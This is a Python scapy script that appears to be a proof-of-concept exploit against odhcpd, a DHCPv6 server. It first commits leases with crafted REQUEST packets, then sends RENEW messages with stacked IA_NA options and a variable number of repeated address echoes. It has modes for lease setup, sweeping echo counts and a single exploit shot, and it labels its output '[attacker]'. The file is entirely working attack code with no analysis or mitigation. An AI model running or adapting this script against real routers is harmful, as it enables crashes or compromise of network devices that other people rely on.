#!/usr/bin/env python3
import sys, struct, time
from scapy.all import Ether, IPv6, UDP, sendp

IFACE   = "virbr0"
DST_MAC = "33:33:00:01:00:02"
SRC_MAC = "52:54:00:de:ad:be"
DST6    = "ff02::1:2"
SRC6    = "fe80::5054:ff:fede:adbe"
DUID    = bytes([0,1,0,1, 0x11,0x22,0x33,0x44, 0xde,0xad,0xbe,0xef,0xca,0xfe])

REQUEST, RENEW = 3, 5
OPT_CLIENTID, OPT_IA_NA, OPT_IA_ADDR = 1, 3, 5

def opt(t, data):
    return struct.pack("!HH", t, len(data)) + data

def ia_addr():
    return opt(OPT_IA_ADDR, b"\x22"*16 + struct.pack("!II", 3600, 7200))

def ia_na(iaid, naddr=0, empty=False):
    body = struct.pack("!III", iaid, 0, 0) + (b"" if empty else ia_addr()*naddr)
    return opt(OPT_IA_NA, body)

def dhcp6(msg_type, payload):
    return bytes([msg_type, 0xAA, 0xBB, 0xCC]) + payload

def send(pkt_bytes, n=1):
    p = Ether(dst=DST_MAC, src=SRC_MAC)/IPv6(src=SRC6, dst=DST6)/UDP(sport=546, dport=547)/pkt_bytes
    sendp(p, iface=IFACE, count=n, verbose=False)

def commit_lease(iaid):
    send(dhcp6(REQUEST, opt(OPT_CLIENTID, DUID) + ia_na(iaid, empty=True)))

def exploit(k):
    pl  = opt(OPT_CLIENTID, DUID)
    pl += ia_na(0x0000000A, naddr=k)
    pl += ia_na(0x0000000C, empty=True)
    pl += ia_na(0x0000000B, naddr=30)
    send(dhcp6(RENEW, pl))

if __name__ == "__main__":
    mode = sys.argv[1] if len(sys.argv) > 1 else "exploit"
    if mode == "lease":
        commit_lease(0x0000000A); commit_lease(0x0000000B)
        print("[attacker] sent 2 REQUEST -> committed IA_NA leases A,B on the router")
    elif mode == "sweep":
        for k in range(0, 22):
            exploit(k); time.sleep(0.25)
        print("[attacker] swept echo counts 0..21")
    elif mode == "exploit":
        k = int(sys.argv[2]) if len(sys.argv) > 2 else 16
        exploit(k)
        print(f"[attacker] sent crafted DHCPv6 RENEW (echoes={k}) -> odhcpd")
